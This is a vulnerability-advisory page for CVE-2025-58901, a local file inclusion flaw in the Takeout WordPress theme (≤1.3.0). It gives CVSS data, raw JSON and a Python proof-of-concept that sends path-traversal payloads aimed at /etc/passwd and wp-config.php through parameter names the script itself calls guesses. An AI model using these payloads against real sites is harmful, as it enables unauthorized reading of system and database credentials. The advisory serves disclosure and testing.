Security Vulnerability Report
中文
CVE-2025-58901 CVSS 8.1 HIGH

CVE-2025-58901

Published: 2025-12-18 08:15:59
Last Modified: 2026-01-20 15:17:10

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Takeout takeout allows PHP Local File Inclusion.This issue affects Takeout: from n/a through <= 1.3.0.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ancorathemes:takeout:*:*:*:*:*:wordpress:*:* - VULNERABLE
Takeout <= 1.3.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-58901 PoC - WordPress Takeout Theme Local File Inclusion # Affected: AncoraThemes Takeout <= 1.3.0 import requests import sys from urllib.parse import urlencode TARGET_URL = "http://target-site.com/" def test_lfi_vulnerability(target_url): """Test for LFI vulnerability in Takeout theme""" # Common vulnerable parameters in WordPress themes params_to_test = [ {"file": "../../../../etc/passwd"}, {"file": "../../../../wp-config.php"}, {"template": "../../../../etc/passwd"}, {"page": "../../../../etc/passwd"}, {"customize_template": "../../../../etc/passwd"} ] print(f"[*] Testing LFI vulnerability on {target_url}") print(f"[*] CVE-2025-58901 - Takeout Theme <= 1.3.0") for params in params_to_test: try: response = requests.get(target_url, params=params, timeout=10) # Check for successful file read if "root:" in response.text and "/bin/bash" in response.text: print(f"[+] VULNERABLE! Found /etc/passwd content") print(f"[+] Parameter: {list(params.keys())[0]}") print(f"[+] Request: {response.url}") return True elif "DB_NAME" in response.text and "DB_USER" in response.text: print(f"[+] VULNERABLE! Found wp-config.php content") print(f"[+] Parameter: {list(params.keys())[0]}") print(f"[+] Request: {response.url}") return True except requests.exceptions.RequestException as e: print(f"[-] Error testing {params}: {e}") print("[-] No obvious LFI vulnerability detected") return False if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = TARGET_URL test_lfi_vulnerability(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58901", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:15:59.477", "lastModified": "2026-01-20T15:17:09.993", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Takeout takeout allows PHP Local File Inclusion.This issue affects Takeout: from n/a through <= 1.3.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ancorathemes:takeout:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.3.0", "matchCriteriaId": "CB8B0F67-F6D9-4F73-A1E3-81C128C3CBB8"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/takeout/vulnerability/wordpress-takeout-theme-1-3-0-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}